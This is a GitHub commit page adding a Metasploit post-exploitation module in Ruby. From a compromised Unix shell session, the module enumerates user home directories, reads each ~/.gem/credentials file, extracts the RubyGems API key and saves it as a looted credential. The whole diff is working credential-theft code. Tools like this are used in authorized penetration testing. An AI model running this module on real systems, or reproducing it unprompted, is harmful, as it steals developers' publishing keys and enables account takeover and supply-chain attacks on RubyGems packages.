Skip to content

Commit eead063

Browse files
author
Jonathan Claudius
committed
Add RubyGems API Post Gather Module
1 parent cb2bef8 commit eead063

File tree

1 file changed

+65
-0
lines changed

1 file changed

+65
-0
lines changed
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'yaml'
8+
9+
class Metasploit3 < Msf::Post
10+
11+
include Msf::Post::File
12+
include Msf::Post::Unix
13+
14+
def initialize(info={})
15+
super( update_info( info,
16+
'Name' => 'RubyGems API Key Gather ./gem/credentials',
17+
'Description' => %q{
18+
Post Module to obtain a users RubyGems API Key from ./gem/credentials
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' => [ 'Jonathan Claudius <jclaudius[at]trustwave.com>',
22+
'Brandon Myers <bmyers[at]trustwave.com>' ],
23+
'Platform' => %w{ bsd linux osx unix },
24+
'SessionTypes' => [ 'shell' ]
25+
))
26+
end
27+
28+
def run
29+
print_status("Finding .gem/credentials")
30+
paths = enum_user_directories.map {|d| d + "/.gem/credentials"}
31+
paths = paths.select { |f| file?(f) }
32+
33+
if paths.nil? or paths.empty?
34+
print_error("No users found with a .gem/credentials file")
35+
return
36+
end
37+
38+
download_loot(paths)
39+
end
40+
41+
def download_loot(paths)
42+
print_status("Looting #{paths.count} files")
43+
paths.each do |path|
44+
path.chomp!
45+
next if [".", ".."].include?(path)
46+
47+
if key = YAML.load(read_file(path))[:rubygems_api_key]
48+
rubygems_api_key = key
49+
end
50+
51+
print_good("Downloaded #{path}")
52+
53+
credential_data = {
54+
origin_type: :session,
55+
session_id: session_db_id,
56+
post_reference_name: self.refname,
57+
private_type: :password,
58+
private_data: rubygems_api_key,
59+
workspace_id: myworkspace_id
60+
}
61+
62+
create_credential(credential_data)
63+
end
64+
end
65+
end

0 commit comments

Comments
 (0)